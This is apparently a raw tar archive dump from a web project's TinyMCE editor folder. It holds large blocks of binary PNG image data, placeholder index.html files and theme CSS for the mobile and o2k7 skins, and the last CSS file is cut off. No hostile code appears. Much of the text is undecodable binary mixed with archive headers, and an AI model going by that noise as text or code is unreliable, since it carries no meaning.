?�|����D�×�7Ag�(�,��XAW�5���߫��4k`�\�5ȴ�ld;[jqQV���f"�z�9I��<־������ʶ����W����wT����;q6���\�(AOR��2m"�{½����Դ�N+�(��G:��O8�P�J_ss3`zbX�e3��$75�29:J�RJ9~�P`��K�M��	)D���6�Nơ_]���h��F+�>}�fuچ��:�I'�}tVr!�"��
��8���#�&Y�\��\��#&� ���Ǣ�d&b.rγ�z�G�_��O��>��,5���w��CGsH3?�E�=���&3��LT�wg̏‰�����tY�˒s��������~�:��l��/�;��"����y>*x��DV�0�2V8��
�-��z!��y�t�2P6���#�6�gn�rpA�NAvaq��z���!�(pk��i�+g�5-���.@jP6YH��Cۛ�[�=w9�ʧ6`%f{����|�����W|QK���iAא���v�ڂ?�pO�7�}t����g՞�=w�_�s�I'�)���;\�������%�|h��p�J�>̑K!'ݶX���[կ�9Ma{��c���{�w����w�M�W}�H'�)�cŘ���\�����e��M�E�M\��*���l3�|�.ӂN��QAI]�Rd�T8��s��Q�^���+'��1�Ŵ$�F�R&A)�t¹-��	��bt�st�01�E=�!,��"�6�`����ג�uE�<����<��݂�q�w���e���B\n}�E-�7s^���j "�\ϑ{T�<�~N��ˀ��1����pJ����CЙ P����]dI1�U]~}����v��n.`�oq�	��&�Z����/HХ4�諲M�[۹����"���&��V�u_|nqq��wQ�\H8m�,���+��$�`���`��3jԨ�K3,��e���s�	R�8�đfח��0���/�K)�o|�./AG9f�Q�Œ�"u���$(b(eXP
�6�7�P�?q`�K\���'�)��#q(���B�9�k"��~$�g�:f��P9ϵ@�9�.0�9�I� �hkP�<|�q����c��ħ�Q6k<�	�M���G��c=�	:�@�R�r�;Z���|t��!�Jܒ���t�/�S��@�����z󑽘н����mD�"�8��ҩκ���I�7���\ɅΜ�7�3���A�ّWU	�OMrN�x�M�/�:�=�n��Q+��E�t������N�̣e,�I��틇���VO7�(5q�
k�+��\R��"���6����*%贉��F�~p�E�|t�BߧO��p�q�(,���7�Q.i�2	:�Y
6A�lF}�q> &�pj}f�RȹίSR��8)���"�Iʲ������=��j����
��R�p	o*n��z_����$�L�v�R�ǸʳJ#�@�H�oBP&��*�踩;c-��Vn��:�k�>`	Y��F�<�A�%�\��#A�⥿�J�F-x2Ι`Q2���7� O�C'�@S����/��z�(���<�j�L�r�s�����G�����9g�������)݄M�m�A�e�F6A���H�I��3!u��Z-�^����Jrm�
!=qݞ����A��r�9���n*zV��>� �h�ګ�
���o�P�PPdIY'L<�YID�D�S��$�@_�L��$)䅶��.�dY-p�:8�$pα��0�8&)l[q#?a_VL��r�!�lׅ��x�'N䜼��<�'�t��v�(C�(H���6(�c<p�l�~��_���>���c"�"�w�y2��;7�,�>g��������c���h@�	�	�	�rΠN����������ȂηuNw�ݕ>�"�ϿhF�V3���|y`Yҙ�����!���j/�"z�ʏ�
"���p�,�d�UO��D�ܞ��ϔ6�}Ŕ6���=�Ⱥ�$�X�� ��]���든�ƒ�����SGޅ���w60Zg_����Mk�ƤQIKll�6�����F�R[A�4BCPT"�bmӨ�#6�b�B��P+`)'p��X�
�Q�n����d���w���<�?�3�<����;3�}fv�����g�F"%L��-g��z����ׄ��H:���:�2��A���A�	g%�6#�<+��>0GizJ?��A��d��򋿴����W��Wm�����Y�V�?�q�0�C�c��'�UDY�2A��'�`�"�Zxk;���)�U����}�G��_/i4͔��,l�*���Wl�Tr����V�[�g��&%�΃T��v�@�^\��Tp�ȼ�[Ǯ����0���Ku�O�;�d��z�!NR��s�'����g�s�I:礷��ϙk`�s��>_}g�΀Ծ�:,-I�l���?=�!Zj$)s��HR�5cB���<蘀1!�7�~�^��1�ԣ�>v���{9%eԡC[�i�V�}�{ۊ�+�KcR[�_�����]��R�tն��mg�3Lj���:�˂��s��w%�ܛ2�����y���|<��WJ�ATe�hA �A�b{h%��&�E|�^%��r�#`��\=�hˉ�
�����|s�芎&�}Y��pn��r
���A�f�H:)y!�}�V��,l��ߑ�5�YEl�&lY��/!L�l$��ZΥ+�l� �	?:ֵkw���M�(���=H����գ�Yo����Y���4�#�s�I�t]����C__x<
��K����-W��0�r�"H��M"��Ò��i9����	�K� A*%�az� A�����N;H� A�	���xX�$H� A�	$H� A�	$H� A�	$H� �r��;��gv�g��g4Wd$H� A��=���]�~f4��b�)�>���|7�`�c���I���'^������.{�����vR��	����FGܟ{�ĉ��������}�W�Tiy;�\R���_A	�B9y���ƂN��"� A�$
<h��hrЋ�)"6���ͅ���:Ę]S[A�r��&oL��x>�4��T>�oC���[�D�|L�6M�zB�8�4�|I�Iuظ�n�i��$e�e���u;6��l��vךˆLz�u_��r��w�����E|�O #��W��a�
�������Q�s~>l���)S=��g��f�B=�"u9�&�'���p�@	[���\���%�����S���_�������nj1��u�]A�r���`@��]���&\�o�ġ���B����p�O�<^���F�m��/H��}`�fۢS?��f������G��M�Kļ��!��@=z�#�|,x��V̙�D+�5��s%���r��W>2
�>&B��3��`�zvo�H�Iu�d��i�~7B����S�֖-�4������_~��f�3
��ܿ��b�mTF ��m޾�,���l�H�3���v��I>Vl�1�\�=d�*��q���~Xgě���8�pO��1eԡ�n�YD�� �a�G�Aߵ��$�~!���j�\�5��lr~pԈ�$� �syё���֏�	E�鶊��x�Ik{�����yI�q�C��A1z����ʻ���z��&I��]W�\9~�u�B�6�P�����?��B����ς>���^��&���6���m��������ސo�󥿹��	;��^�A���_NU���p�����/tk�� �N�2頏]�d�T(I��nW-1)~߆����OuғM�'BȚc��L@��L��i'R�BR6��C8ZI��
�L�����V�^�d2
�u�ؤE�������v�濥A�[��F��w�I�EY�s-�	RU�q��u�Y�A�A_ ��e����=��O�9�]z�';��}��|��&	�$]�g�tڗ��H��Ŷ��<�o�x���a]�e�ҍ�|��4o�r>���
��X���/,u!�W�w}�1�w�1�n6�_�dz�l4��~lz.?`z,�o�]�Ϝ�d��ns��]滋vl�M���{�J�!��@���?W��753~��W���>�O��
��]����F�c�m���v'�OϞ���x�����ic���$��t��ѓ���?_��k�0�	'|��{{O���������.i2Τ��k#b���6�:u��ܾ��Y�
��M�;A�P��T	��{��F�KHS	:���㋕D�Wo~�	4�X��S�N��c�=�I��VlҢ���l3��{{Vo��I�]��gY}��?�7��:>Ao_�J�K�^%�|��J�s������t?{�Y�|�+]�=��^�KγV��>�&����zR;�]"�����ž �lݡ_��CH�@���A��Cn�6@�?)E]l�u[t��J�ڵ�!89��G�mSԽe�YD>�Z�N1"��><��Ŧ���ˌ�]~�m7467�&X����&Xw��h&�8X�`ݱm��y{oi�5���fL���l��w����5+��K�㖍�A�l����'��q�����jW����Awk_ܦ�/�O�~xʈ�w�I��������r~��������Zd�f�%B�xM�FR�E�)c�a�s>�3c
��=��2~D���p%�6����&�>��s�x��fP"��6�='%O�t(�.i2Τ	�Z�SZ�Q:��O(��g��>-�M��b[�BTH<���r�s��j���2�\��))���#�EOz��Ժ]ldo`��y[�Hx9P_3��񉿴?>����D?����k �՗�_|��H�$^&��MA9Aч�)�/�{��,2�y�<"�yH�^�G_�L:覭�9/m߉	��2���i@Ǖ�ӯO'Eɺ�(rn���Թt��/k\RY�:��dFtZ�r�䊤ǣ��hԋ
Y���y�GMM��!������3w�{��Y���X��LX�Ռ_�Ō�}�ܾ�
3fy���r��"���_��cWlK6�Vß�O&���C�BJY�g���_�l��/nS���'o�g�=e����Z�ڴm���3���A\xH��t R�|��6I'���^׬�T�E��{��e�� �,��F	bߴ"�nl'{׈�_�j!��Eh�8ǐqR�K}�&�"�V=��c�m2AW$�"�՚�{MN��\���8�Չ�A�&|:X��nZԑ���)����?Q����+ޞ�Xmý�2l�tl!��,@�;�K�8����}|�#�y�5t?��6!6�D�cELѩ��c�=f�r��]7���I�Q�$謲�߿
��	��b'�:tX̓
��:$!�,��C���g��#@'��/A�GDб�"��'n�����c.B�Z�)S��G�����Ǵ���8�(A΅��o\t���?lll���r���LJ�P�K^z��xњ5l��@Hy�?s?���Vş�O�]�H��6n��+N�񙗠W��I{��S�x�.@��ֶ̀�����\G�H;�K�m��	�i�l�#U��t"�S��6��_�y�ϔ��9��wf�Cֲ�|�"輵<\���KN�͝�Mw{E
\���+�/G���l��J�a[x"�N��t� ��Ff��lj8��ďTP]�
�i�*@TER�<��G�5A�Y�^ԏx���,�N�P��'��LZ�IY�s=d^�⏠C\8��cʨs"輥=N�0yj�/9~Hɋ���s�c�'�^�Kαq!�K|u��������s��%�a���
3��[�^�@��rV5�L�t/�i]��/w��?��O	Իt�::�}��v�� �y��'�:uZ׍z��}��iq����L����a�ܨڇy��z)��"�x��{T�4�Z�i��ݸѬkh0�^y�,}�eSw��k!�	6ؖ�V�!�F��ҷ�[��O�W+��6�?�:N�����R���rxR�{[	@_��
��"�n�/nS���Tџ�˅�;�M�lV�A�u_�[J�u�A�g��A�����<FҥK�c=�,���⫝̸��я��H:�\�lR^X:=)����o!����3>[ƺ>�?Җ���m�A�pW�,�������tR��^u���6iT�E�!�"�zs;yM֨Z�M7��^|"�����Y��^��2���C�9�k�3�M�t���NB��R��A�OA�`�A�A�l\|��F�]�5t�߽޶��,�2�D�2	��9#AyQW����s���9B�y�:}�uի
�B����S6{��ez(BB����QB�=	��s��*2	:�ʆ;�4Ǣ���QkOe&A����_W����վ�����-<e��#�蹖�ړAG���"�io�?������" ���H�D@t��?���Uǿa�Պ����Gц3�(�2�R�~���bi��jki]�"Z�mM�����T`ƆMmrnt� l8"�%!�2\�����f��<�9�~^�|���s�s>����{�y���������yf�q�9� ��n�=�/o��^��<A��>�h�34��J0�-"kޯC�Þ_^�]�/�f�m���6��;6�y�f����^e/ڃ��K/�y��Bȴ7)WH�Zeqm��<ă�sfꄦ���7�\�S>��W]%��)�n�A�Pp˗���ԋ<>��]�`����ɖ?�`����%�u	:�5?�~�G�)�����7�Ϋ ���B`Ҥ�t>�B�h��j�5����EOѰL�A�o�]�@`xhQ���-����A��K�B����ShT
qa�BA�̊���U�΂r��:=�^y��q#4��^�L�tB7�;�NA��{	:Aj��!�"�_����գ3-�ɽi�u�
����4�q���"b.�0�k\�[F�ȹ����~�-��0:�0�'��G��AU�n��cS'9Ν����c�$ͷ�4�/Z�]�s����Ai�ɴ�.���c����g��=���$ƃB�b����ʃ.��ЁF�:4��?R�~[&�Qϯ�;I��][�E�c=��n�Pǥ�1�i!ԃN�[fK��6�	z�4�*��
��8±�ݸ#N�u�/�����k���]�2{��{V��N4�9�=�xvˢE����K�BV!�u��P$���C�E�id典�9 ?z��8�1-^���sL:�6�9�Sqm!����7��+Yjȩ�\r_������hkt��Iw�|U�ĉ��*ÿ�t�$%�أrL���"�^u�r� 4�����@@�P.�<A�K�5�D=��7����A�X�������N�����"SF��{�+��4d4������
��֮wb	:u��\ $o.�oݡ��ty���/O�]���]�'�ܢ�)��.��13tʖ�V�\�����]������7��M�x@tAG�o(q�=C��ct���{���
�v��"l�\�\�:�A��?�׼ߖ	z���U�I�]uݱ��7�����{�E�C��}:��Ο{�:L�FP\!y���:)�x��qȳ����s��W�����/;r���٦fx����…�{�Q����/�xJ}�3����
�Z�M ���9&��~/7�65���KP�/�Y'�F�����cevtC@^t�M��l�+�@��K	:��L4tiH��B�3S��E� ǚ��SD�!�ڏ<���s\Fh�Âr�J���U�s���1�a�n�D���<(r.hĊ�j�M�ѩ�&�����A�<�92M��N���ޅ:J�H\ȳq��ݲm�vw�|�&�ĕ&rN<`��~
���W�k�qN8���絍S�9�zf�F4i~z�p�ܼ}B/AW�N#B�yQ�C��4C�U.B���EЙ�����9�_y�u�d�/���lm��ttЭ�
��]�{�ihj_����'�_��c����M�׷y�<���C�����z��XH�AO�=�qAz:#2�A%�.!wm�=�~�co�\���י_�:ɍ�G'���)^�o/��X�~}��e˲�<�6�K3}ӳN��C�N�:����Ω�Ԣ���qLH�s!��}��A"��^��"��/��P�M��I�Fј�ADH�t5���'�x�E.y�:)B"�� �`f��9��t��5�y&4������1�4��ȫ�xJ�μ���px�}�\_A'?�:�F��ޝ��=7L�!t�i_� �����o�Cd��_�]];;(�{.r���)_��:PE�!�!P~���N��K�C���(M��!r>�K[�9=�����]�cg~zG���.Awϣ;�˭� 2 ��#����E/�rm���?~��H3 :ƃ�c::�c:��G�k��1�w�t��Ã.r�P��x��%l��k�۪y�A���N���U�I���l�񛑭h�l%��c=莽�C�����[�95�T��s�K�cVh���4_��78S�d{��]��{��/�g
�ٖ-[�}�^ʾr��a�@�ĉ�G�ح,�O�J�x�f����@�tΓ��}	��KƎ]ʰl
{%$N#0�$�(>zBPF�9�|�I�bX$$
f�4�Y��rȋN�3d%a�tȸ9P�s�!o��
<#<�~���t}Xd�N�U<v ��ŬF��G[�aR_H:���{+�D�냼ݛ<�"�4��}�?̃�^����Q
�(�L�h��� �^@��5a’��}�D�cK��)�I��A���C�>���V-�(�('?��5:�ʬ+ޔM���T�(U�9��7�1lD�΅�?�����%�%�䏩{iԪI#}�k�+�G�=耴��Bݣ��.9W�X4�<�E�uxN�9�փǎy= 4��A���=���E@����(��n+��C���+޿6��t��'[.*�5�~��^>z}y�������k����<莽�C�>Aז�! /:o�w!�'�����w��l~OO�@o_���/f��.[~��X8~��O5L���d<�q���:&���V�|��,R�Xd�t��i�j�A7AC�����5�=�EݲN���v�<���9��>�)"x�	c �"�����U�? �x�Cl�/�n�B��
�r:!:�6L�Ri@� A���W�������m���W�J�)�xiE�	C��A��,��yg�^A�L��s� �ҕM�8��+c~G��"���S�>ƐG��8��	tC	��=����p_+��ׇn��Mu�F��5+��:h�!�,V~�ȡ�܋H����;^iv�8z4
���S]tЭk��?H9k%(ă~Ӵw^cS�0����5��;��1����g2�B'f!/:C��B-H���v8�"H�~��㮟ߓ��׬����֭;����#ޜ�;gM�$n��t@��I�4g�l��h���!4�k�p��<]�Mmk�6@��C���ς0�::��PE~9G��?{�;%��k��c�{&<ML�+��w���x������^��h�3�/F�@b(�ȋ/����J /�B�=3�[e �`�7y��R�_P��@�Fu��&B�ҝz�m��.�ֈK/]R�s�@��=�8�8)5�"�&�µ�?!�닿�T�X��זޞɠ�>{��/�������Ɛ���'�]�{�����Q����{8#��3�M�~ժ�I�F�x�!����4��BF��-�Ӧj���.��d��c�8a.>&�&�VVG��x����k��w._�Pz~�gm"��QF�q�����&l��ݡ�VИ�������hkp,(ͦ7�����������������������������������1aOAw?�ވ���mm��0i�L����l����f2{_]�xƗ{z�]�{&&&&&&&&&&&&�AwH:ȓ��ヽÿ>y�7Ϛ5�Ve_g��V���y��Lx��G�ﶿ��'���\ߘoۍ���������N��0111111111119�¦���ēȋN��S6�>���]'��V�s�f͚�]]]߅�W�9��:�U��u��}f�q�=�G~��!�"����,�˷�(
�N�?��!_�=���_�˟2�ˀ4um���/#;;��)"6�!������`�xǎ�������VEҵ�����H/x�t/^������=�@z��"���/_�J(� �����u7v����n�������������_hU�g�
U�mZDb�J5��iP�AS��IT$-q�XA��A[5P0E�$T�>(���I��T-mM�B��f̷�q�L��Y~��읳!;/ߞs�冇����`�K[;���떐�9���s������QG�\��g��ٙ��_��K��\�>�Z	?�$�3��7{�ob�����Gs\GE�R�v�Y������7"艕t�17H���_�c�9:�B!�BQo���zN��	����@!�vw֥�	�I�T����?A�<�ϸ���Ӗ�����;r�
�;n����s��:���D�S��s�
�*�de�}pEp"M���`�y��;z[��粄]!�B�l �Mטּ��w��K07H��&�url�Wb�S=�������*���D3���rZՙ�B�<�����#��l��s���?�����[X�j���w��
9G�t�艒t!�B!��'��4�Un�iGw	榉9��	:�9�U����xk1UuZ�Sw���r�ik^SU_B�:��œL����.�%�q$�uO�����������8k��ta̹#��3T��^��z;�z A'�>��|�'&t�J�EG�փ���.�B!��g��#Լv	�mgrnaU�B����=[)Q���p!�T����q_ X�NE!�تn�������_�G��'Px��W�ߝ��{�_�ޘ�g��c���wN��an��$_��na�n9]�!�|��#��.>v�x<�7�N������9t��9y��;}�tq�˯�$B��!�B!8Hz�+.��6�C�9Z�q-�Ç>Omq�e��{�ܪ>h�x�a�x_�7ʈy�E?U~S*�D�L�>��c�9��h~t��ڦ�[+G���E�-�t�����������/��]!�BQw�޻�X|2-x��Ϯ��9�q�I	B�mL�&q���
�m��x�}~˖���KhUG�/�x744n�5�T���/�֢o�n-�.�n��S1GN9G��g�ft���
��L�n�
 �\O>��.��t[�֤�#���OL]��i�Q:.���B!���@�M�D(����76�]]]E�![���Ĝq�=�rM�������u��~����K�ܫ�;�Ӻ�fĞ�v���Q��g�7�����t����7X��SMG��v�����$A�~!����9Z�ae���e�ŝk!�B!�Xn���A���?M���*�徻���X\>zƄ|>8�{�an�U�]*��S�w�1>.���'�'��tA'G��[dt�!~|h���&�W���ŭ�A'/qMkk	���P�{�5�jqB!�B��}AI�2jq}G�@�N���G�Y>Ɯ�=� f.�k��T�Sw����k�Y�Ξ�7;��v��fXր��v�x�L'�=BD�i;G̑lrr_r�F�?�AB!�B��,��2AO��s��]�R����ЩJ#�c���s�ȹ�%U�}r"�>��v��u�&������>���3�X0�k��9����Gƣa��o��M/�1Xw�&�&�V�f���t!�B!D]a��q9��m"m��/�!��NJ�{^��u	����Y�|k7lX������ߤ�}��5�l/�̥����=�t	�B!�B!�B!�B!�B!��ſ�~d�	�IEND�B`�editor/tiny_mce/themes/advanced/img/index.html000060400000000054150750527150015446 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/themes/advanced/skins/mobile/index.html000060400000000054150750527150017270 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/themes/advanced/skins/mobile/content.css000060400000000044150750527150017456 0ustar00@import url(../default/content.css);editor/tiny_mce/themes/advanced/skins/mobile/ui.admin.css000060400000002760150750527150017517 0ustar00.mobileSkin .mceLayout .mceToolbarRow,.mobileSkin .mceToolBarItem .mceButton{background-color:#fafafa;border-color:#dcdcdc}.mobileSkin .mceToolBarItem .mceListBox,.mobileSkin .mceToolBarItem .mceSplitButton{border-color:#dcdcdc;height:36px}.mobileSkin .mceLayout .mceToolbar .mceToolbarRow{min-height:38px}.mobileSkin .mceToolBarItem .mceButton{padding:7px}.mobileSkin .mceToolBarItem .mceListBox{width:112px}.mobileSkin .mceToolBarItem .mceSplitButton{width:55px;padding:7px;height:36px}.mobileSkin .mceToolBarItem .mceListBox .mceIcon{width:92px}.mobileSkin .mceToolBarItem .mceListBox .mceIcon:before{width:92px;line-height:34px}.mobileSkin .mceToolBarItem .mceListBox:after,.mobileSkin .mceToolBarItem .mceSplitButton:after{line-height:34px;width:20px;border-color:#dcdcdc}.mobileSkin .mceLayout .mceIframeContainer,.mobileSkin .mceLayout .mceStatusbar{border-color:#dcdcdc}.mobileSkin .mceToolbar .sortableRowHandle{height:42px}.mobileSkin .mceToolbar .sortableRowHandle .uk-icon{margin:12px 0 0}.mobileSkin .mceToolBarItem .mceSeparator{height:34px;background:#dcdcdc}.mobileSkin .sortableList .mceToolbarRow.sortableListItem.ui-sortable-highlight{height:38px}.mobileSkin .sortableList .mceToolBarItem.sortableRowItem.ui-sortable-highlight{height:36px}.mobileSkin .mceLayout,.mobileSkin .mceLayout .mceToolbar{border:0!important;background:#fff}.mobileSkin .mceLayout .mceFirst,.mobileSkin .mceLayout .mceLast{background-color:#fff!important}.mobileSkin .mceLayout .mceStatusbar{background-color:#fafafa!important}editor/tiny_mce/themes/advanced/skins/mobile/ui.css000060400000002733150750527150016430 0ustar00@import url(../default/ui.css);.mobileSkin .mceLayout .mceFirst,.mobileSkin .mceLayout .mceLast,.mobileSkin .mceToolbar{background-color:#f5f5f5}.mobileSkin .mceButton{padding:7px;border-color:#dcdcdc;background-color:#fafafa}.mobileSkin .mceListBox .mceText a{line-height:34px;border-color:#dcdcdc;width:85px}.mobileSkin .mceListBox .mceOpen a,.mobileSkin .mceSplitButton .mceOpen a{height:34px;border-color:#dcdcdc;width:18px;background-color:#fafafa}.mobileSkin .mceSplitButton .mceText a{border-color:#dcdcdc;padding:7px;background-color:#fafafa}.mobileSkin .mceListBox .mceOpen a::after,.mobileSkin .mceSplitButton .mceOpen a::after{line-height:32px}.mobileSkin .mceButtonDialog::before{width:34px;left:-1px}.mobileSkin .mceIframeContainer,.mobileSkin .mceLayout .mceFirst,.mobileSkin .mceLayout .mceLast{border-color:#dcdcdc}.mobileSkin .mceButtonActive,.mobileSkin .mceButtonEnabled:hover,.mobileSkin .mceButtonSelected,.mobileSkin .mceColorSplitMenu a.mceMoreColors:hover{border-color:#81D4FA;background-color:#E1F5FE}.mobileSkin .mceMenu .mceMenuItemActive,.mobileSkin .mceMenu .mceMenuItemEnabled a:hover{background-color:#E1F5FE}.mobileSkin .mceTableSplitMenu{width:135px}.mobileSkin .mceTableSplitMenu table{padding:2px}.mobileSkin .mceTableSplitMenu td{border-color:#dcdcdc}.mobileSkin .mceTableSplitMenu .selected{background-color:#E1F5FE;border-color:#81D4FA}.mobileSkin .mceSeparator{height:34px;background:#dcdcdc}.defaultSkin .mceSplitButtonDisabled .mceOpen a:after{color:#dcdcdc}editor/tiny_mce/themes/advanced/skins/o2k7/img/button_bg_black.png000060400000001134150750527150021207 0ustar00�PNG


IHDRXB���PLTESSSrv|�����������������������������������Ļ�ƻ�Ǽ�Ⱦ�ɿ�����������������������?��M��P��T��W��[��^��b��e��i��m��r��v��{�ǀ�Ʉ�ˉ�͎��u��z���߄����������������������8yO�tRNS@��fAIDATX�햱
�0���$�8HA_@|~�����M��&mMR����u�j������A�J�>!�\5ͦ�RH��"(vw���'�'�(i ��#odĦ+m"�[S��5��Ķ*��1�zp#�(��L�C7��c}7ycK��蓯�)������e&@�,���#+(B+�g�K��H3������'C��h]<��~��bE+Ŏv?f�d2�ʸ����hC|��⛥T~zPŖ��ΥD&�Ax�����P�Pg��9"q7�b7�n��ȷqoe*D�q�M��o���&7�jEĽ���IEND�B`�editor/tiny_mce/themes/advanced/skins/o2k7/img/button_bg_silver.png000060400000004016150750527150021441 0ustar00�PNG


IHDRXB����IDATx���sSE������;�R.�Q��A�QG�q��(~�t@��p�0v䣠��h�ib�&M��-is�z~Y��.�9{α݃ڎ�����yH�IVw�?^FFF�ٵ�`�۲����5��?�n���?�g��<??/[�/�Y��Yp��=
&��dG����8><l<!�I���<��v�S�sssbӱjD�"8þ�
v���\�ץVS����#T�s��~D�c��G���z�x�ÇY���k�(X_;�������e)��R咔��KQ�zr�c��ǢG��E0�_�YD�)qOYc]�k�[[{B_�`C�A��DP��)�z,�"��E p���"�����jM>w�`�	e	ʏPC��r��5�p΋`��'0�1�`^��b���
���� bz:�(��(���6�5��E���ܟ�g��$�u��T=�
�V�����+������f���ы`����]1���_V����1H���m�%��F�(X�[���!��gSg�uQ��i�<�hH�1#����P9hDcΡO�7@4V=���q>>*c?��5��8�Q��V�P�sz>B��~Tn���j���l!Z���4�U�5/���$�{�*�k4�<*�|��v�-&�\t�{���%��l��i�N�ѷ��1�AOg����}tt����e��:gͼ~�92*��h[=�斊�?c��z?\w)�� ^0&����۲������
�ݦ�{��9g�B�3�xB�����/f)YH��-����ґ��K��ʠ�h�>���/��A�%�WMC�`��bCJJ�-W�)�o���ϻ	�܍�Ҁ�x����屈+d�yxU����:r?�{K�����<��d�x��Fe}~1?��/�}�	��	�HC�`�گϞ����FD�s��s�yFր?�݆��Bv�x�Y�%
�M|o�i�M��s��q�n�;�/�MC�`�:wk�-��'����O�j�f�]�`���9�MDº�\�co�?
�s�{='ng����IPנ7^pX���bE�DZ9�(x�^5`L���c��
{m�5�M\�,�4�[�G���_�@�D��Kp�-2��pm5&�,Z0_����:�أ�R$p���򝜂`m�I��~�+��/�O��5D�
�?���\��f��O��[iH-d�:z�
^�7�f5�.�vw����qK�:IyQ�c��Թ�L�~D������ܿ�f�R�`|0��#�G��b�Q��>Ρ�/���4�߭�</|���Ƨ�0�ؠᨹ�^�;��n��|�iա4�7��\��1���_��V��.�t��"��Ӏ�d����u|
��*Ӌ��!$�m�o�Df�Ӏ��##~���/"k���;2��E�9���zKY(�г�S��=�N͕�����|Ɯ���T�?���e+�0�����*�O4�Q�൩Ӳv�̀.r���n�>ݣ�(�����$p�,��H��
d�[k�F5����x�s�N5
|�l1��T9�?�DV���}_��ʯ�1���<
^Lu�.O'�wy����f�/�α�W���$\�(N�= �1T�����FD��#���I'�{7
l	�9N�	��p��'8F`R�~�5��7�<�$�+�G���+��EG�FLf$��>_��h��>����J��k��	{�g��J�w�|s7�ɯY�'�w&�[w��e�`���{ תՎ'8�
X5��1��s
{;U����S(�n1gk�܍��}9�
�v���>73��	�Y��s��Tyꀛ�w
�ٚyֆ�u�
x�Y�;U����ٓ~�h}!�엂��j����s����=���M[���X��cq���'	�ǦT�sx�;U�9A_q�)��UM��9g�!xwI�?,@.O�ko��ޑ�_*]�1�h`�B��S��5ގ�v�W����@���%IEND�B`�editor/tiny_mce/themes/advanced/skins/o2k7/img/index.html000060400000000054150750527150017357 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/themes/advanced/skins/o2k7/img/button_bg.png000060400000004530150750527150020056 0ustar00�PNG


IHDRXB���	IDATx�͛�o����~���<�E��$H�m�-P-P5uѴ�K�}0���@�
�vmʱ%��dQ�(R�-Q��H����2��pƳ���ȗ3s�p)|.w�$��gj4=+�x�*"r��:��ͪ����P>:�i���l]z������oܯP���_��uJ�j��j[D̫�g�G뇡�2�J0OEpq�Eq���9��]���u!$GƵyemn�A�Q���?����`�]qX�;�n�0�
�o4%�e�sΘG�W<�`�\y��<��-��j��,�v���}p1�-�`��qw�K�Y.��8��\0��|0VA^��K�<|�S�~�x�٦8���΂+�C�'�I��m�T����L�h�Ҥ�-��?�R|J1�9.7��k�9��Ȝ��#ȅ�P���w)�C���7p���+�R
�%s�W;x+��/w)ۇC߂���_~�8!�qn��5p!/r<����/!bqy�����^��T�Z���5}����G���;%\��gq�fv����S�x��:�;X�&�}�����5�l8.nwϡ���cc�|��Ȼ�s����0�̂S;�-P)1��
��৕v)���FC#�Q$���*_�`!�"N��!�^� W�%��#�E�a|�I�#���b����G�(5X�Wr���`|�qx^w>㹊� ��¢c��P��q~�)!z������W�]̂!�aI���ƈ�湚�;����4�_�#���G�-�rl�q�8��"𵑏B1O�iZ��P������`~\���r.��e�tw7W�" V��Þ� ����;���	.3uc��2��9'�<�����Þ'�.� ��\0�`�P �HwcI�Xp�C��k�C������j�ⰲs���h�\0��p����#��5`���P/�<c�~x����+�L�l���
ӳ��:�]�.�}�A1ɦ��e�EF�\v��{,�$UY�5������w��)�S
���w�x��1�]�<y����hܳ��U��.Kq�QoYF�[����˨#��<���_j@"��Ẑ!W�
X��#�rU�\�<<��&���Z�Ʃ�3�g��� 2x�$��\�y��	�C�VP�Lp)f��m�f��G9Ĥ���(��|+�K&��`|퇍;4ػM����@_��s��+���Ψ�.����8�ָ��2U���:V�	������A2��;q0�׹_�t���uS��
�U���L��=��`	��uc�e��"��t�_��+����莍��z�A�w,�(�*R���,Q�e�k�q������KPk\�bYi\�LJ�,_��]�;��|2��}��w>��3�5�"��]j��9���C��(0��'�~Q�,x��1�����K�9�>�
��3��間	.�$V�w��G���Qk�N��.�vW�Z�`\R��R~�(�r�QE="@Λ�֗D'vz�l�� (}��]���!<�D�x
y��&_�v�ʸ��@�Q�7q@�^0�o/0��lyo��Š���d�i��8��|'�*
@h��D=)x,�q�౬��c����Z�`�;3Ӧ�nݣ�\!���>Hp�h��$�5���3`��y��<�>+�]��Nn�(8�2����V���*o��a�c���	���l���7��$���ׁ?�s_ۮ�o.�nћ� 2��߮�����r6��[4X�M��1�1�
���_��7`��d#��N����P�s�p��ky<�Y���FF������v���y+ԫd#x��DOE��_cL5�5ς�cu��N)��G��8�{O�)5�A��]��`��,�b6��7�������c~m4��k�h����Qk1{��l�<n�+x纍�l>�F�机�u9�]��om�W��{���`�-�|�d�c%�������Y�d�7{���(��C���(���<v�߮��e�;��l�Ղ�!?z4�!�oW�p%
�N��ײl�5ǽ;��˱��v��o�3����ɾ���_�y{�*��m��'�F�,	c���*�޳��όso-�k�'�m/��v�7~a��YF7{���7B}5sD�$��1׌d
�^�5��k����`)H'��x�Hce
;�kW�:eu	f1�j�c^��g%x������sW��3���i�-"����"�췫�����V�_c�s�s�4G-翶]e��i�F���IEND�B`�editor/tiny_mce/themes/advanced/skins/o2k7/ui_silver.css000060400000004331150750527150017323 0ustar00.o2k7SkinSilver .mceLayout{border-left:1px solid #bbb;border-right:1px solid #bbb}.o2k7SkinSilver .mceIframeContainer{border-top:1px solid #bbb;border-bottom:1px solid #bbb}.o2k7SkinSilver .mceStatusbar,.o2k7SkinSilver .mceToolbar{background:#eee}.o2k7SkinSilver.mceListBoxMenu .mceMenu{border-color:#bbb}.o2k7SkinSilver .mceButton{border-color:#bbb #E0E9F6 #bbb #bbb}.o2k7SkinSilver .mceButton,.o2k7SkinSilver .mceSplitButton{background:-moz-linear-gradient(top,rgba(255,255,255,1) 0,rgba(221,221,221,1) 51%,rgba(255,255,255,1) 100%);background:-webkit-gradient(left top,left bottom,color-stop(0,rgba(255,255,255,1)),color-stop(51%,rgba(221,221,221,1)),color-stop(100%,rgba(255,255,255,1)));background:-webkit-linear-gradient(top,rgba(255,255,255,1) 0,rgba(221,221,221,1) 51%,rgba(255,255,255,1) 100%);background:-o-linear-gradient(top,rgba(255,255,255,1) 0,rgba(221,221,221,1) 51%,rgba(255,255,255,1) 100%);background:-ms-linear-gradient(top,rgba(255,255,255,1) 0,rgba(221,221,221,1) 51%,rgba(255,255,255,1) 100%);background:linear-gradient(to bottom,rgba(255,255,255,1) 0,rgba(221,221,221,1) 51%,rgba(255,255,255,1) 100%)}.o2k7SkinSilver .mceButtonActive,.o2k7SkinSilver .mceButtonEnabled:active,.o2k7SkinSilver .mceButtonEnabled:hover,.o2k7SkinSilver 